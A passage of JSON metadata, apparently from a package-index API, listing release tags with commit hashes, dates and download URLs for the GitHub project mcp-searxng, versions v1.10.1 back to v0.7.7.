ndency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.1/manifests"},{"name":"v1.10.0","sha":"e499816b1bceb5984445aa4ae1dde156d55b3ece","kind":"commit","published_at":"2026-07-03T22:54:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.10.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"5652aceb7e8742f0c6d718a88844fbbef3b7ed2b","kind":"commit","published_at":"2026-07-02T21:36:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.9.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"a20b5c9711b8f0ba24d9a054f113d0108881dc86","kind":"commit","published_at":"2026-06-23T19:39:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.8.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.8.0/manifests"},{"name":"v1.7.2","sha":"3bc16c80869b81b91dbe6d63c27ef46acd9add51","kind":"commit","published_at":"2026-06-21T00:46:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"2f5768e5be4d8102f9ce805e8a9105e33eb1795b","kind":"commit","published_at":"2026-06-18T21:35:58.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"7cc1eacbb28056d34d1a3665a8e7201590e14f0a","kind":"commit","published_at":"2026-06-18T17:26:21.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"0d9c5ade5b8966f8cefc6e473b4a3ad0b4f431fb","kind":"commit","published_at":"2026-06-16T20:55:47.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.6.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"381d4f8e0494f2bbec2063ce6907be35b257c224","kind":"commit","published_at":"2026-06-12T21:09:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.5.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"fe943ce3234201d4cc6050d38eb60fd06e112dcc","kind":"commit","published_at":"2026-06-12T03:11:32.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.4.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.4.0/manifests"},{"name":"v1.3.4","sha":"e7296d4752eeb1c406240ce5c2ab632575fc3a90","kind":"commit","published_at":"2026-06-11T20:42:08.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"95d664cc725fd473b1fd910776c6afcd974d3670","kind":"commit","published_at":"2026-06-10T21:18:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"89ae270965232411ed9d14527c5ec8260f46eaf9","kind":"commit","published_at":"2026-06-09T22:29:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"08eb78e6676267cccdea509592bfa8429f836f23","kind":"commit","published_at":"2026-06-09T05:13:32.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"da50d66379260cbe02269b36f284cbfb168f7dd8","kind":"commit","published_at":"2026-06-09T05:03:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"75bc25d27f01fe1f577c4c4a13e6e340f4d81ff1","kind":"commit","published_at":"2026-06-07T22:01:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.2.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"da4d43b5123dae694d6bd9c67b8ab2f19ff23cd1","kind":"commit","published_at":"2026-06-07T20:16:38.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.2.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"ca09dc23829117fe5f75fcd680427c34c47191ea","kind":"commit","published_at":"2026-06-05T18:36:12.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.1.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"b1c23277c3a38d3614d2c6ca07b0a68a25e1d41d","kind":"commit","published_at":"2026-06-03T18:54:12.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.1.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.0/manifests"},{"name":"v1.0.5","sha":"20bc632d5d87d3289798c3f6803b7f2c02ebd5b9","kind":"commit","published_at":"2026-05-25T23:46:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"65b0cb16cded0f8fa44109a11710d30e0bbe99a3","kind":"commit","published_at":"2026-05-23T19:49:37.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"5927fae2c774f73721efd88066d0e53bc7722fbb","kind":"commit","published_at":"2026-04-05T15:26:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"4edc3d2e6eb902bb7ee75784f5ddda1c6cfc7a56","kind":"commit","published_at":"2026-04-01T22:36:43.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"ee20bfcbdc008e64c80268dc307a401595efba85","kind":"commit","published_at":"2026-04-01T22:00:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"c920a349b4353f848e2da5f223f45388a20ea20c","kind":"commit","published_at":"2026-04-01T21:53:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.0/manifests"},{"name":"v0.10.5","sha":"7cceda24f2967ea2cbe646ddd6b8ebe7a199344a","kind":"commit","published_at":"2026-04-01T06:38:52.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.5/manifests"},{"name":"v0.10.4","sha":"cf52cbd316e6bdba9d164542e69a34e5f102fa1a","kind":"commit","published_at":"2026-04-01T06:34:28.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.4/manifests"},{"name":"v0.10.3","sha":"563661ce5be002a8a25b147b70f7041667f0be7a","kind":"commit","published_at":"2026-04-01T06:21:07.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.3/manifests"},{"name":"v0.10.2","sha":"e3e6cdfb2768b450ebdd26c8e074921e774cfded","kind":"commit","published_at":"2026-04-01T06:04:59.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"20701ec120576daff43349fbcfca3506fe59eff5","kind":"commit","published_at":"2026-03-30T21:34:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"a844ca77fa4711ced8c0533cf1fef9120d66faae","kind":"commit","published_at":"2026-03-21T18:39:23.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.0/manifests"},{"name":"v0.9.2","sha":"b1d8adf420d1712b36483442cf031d54347b2984","kind":"commit","published_at":"2026-03-11T22:48:01.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"ee56d85d513334ca3cd0dc2580d31dc201ba5639","kind":"commit","published_at":"2026-02-22T19:32:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"3efaac235d1cea17f16050e86b8c1c344c1e2287","kind":"commit","published_at":"2026-02-18T23:21:04.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"4c47b04249c88d5531ed1771c7eb819213cb4864","kind":"commit","published_at":"2025-11-09T22:05:02.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.8.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.8.0/manifests"},{"name":"v0.7.12","sha":"fc76c97ae2665e3d190bc4407934c6b55d3f52ac","kind":"commit","published_at":"2025-11-01T17:40:09.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.12","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.12/manifests"},{"name":"v0.7.11","sha":"1dc6f971a6dcc8613166bc01946f56d3d629a25e","kind":"commit","published_at":"2025-10-29T05:39:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.11","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.11/manifests"},{"name":"v0.7.10","sha":"477f2920527b1e173b9a8958bf822f569219bb1a","kind":"commit","published_at":"2025-10-29T05:37:22.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.10","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.10/manifests"},{"name":"v0.7.9","sha":"3ffb7d6ac540c946024f29ad449ff1c0cf019d0b","kind":"commit","published_at":"2025-10-29T05:24:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.9","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.9/manifests"},{"name":"v0.7.8","sha":"42d5f6f56c6fe4f71eb8cb42a8d363c4f36769f2","kind":"commit","published_at":"2025-10-19T20:46:45.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.8","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"04c58bb7b91e3803460cc5c1913255deb773f817","kind":"commit","published_at":"2025-10-19T20:44:21.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"